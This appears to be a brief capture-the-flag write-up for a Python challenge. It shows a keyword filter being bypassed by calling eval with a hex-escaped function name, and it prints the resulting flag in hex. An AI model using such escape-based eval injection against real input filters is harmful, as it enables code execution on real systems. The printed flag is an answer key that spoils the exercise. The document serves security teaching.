Same as pickerI the goal is to call the win function.
Unlike pickerI, the input has some sort of filter.
def filter(user_input):
if 'win' in user_input:
return False
return True
To bypass it, I called the eval function in the already existing eval and passed the win name with i encoded such that it won't be filtered.
==> eval("w\x69n")
0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x66 0x31 0x6c 0x37 0x33 0x72 0x35 0x5f 0x66 0x34 0x31 0x6c 0x5f 0x63 0x30 0x64 0x33 0x5f 0x72 0x33 0x66 0x34 0x63 0x37 0x30 0x72 0x5f 0x6d 0x31 0x67 0x68 0x37 0x5f 0x35 0x75 0x63 0x63 0x33 0x33 0x64 0x5f 0x62 0x39 0x32 0x34 0x65 0x38 0x65 0x35 0x7d
==>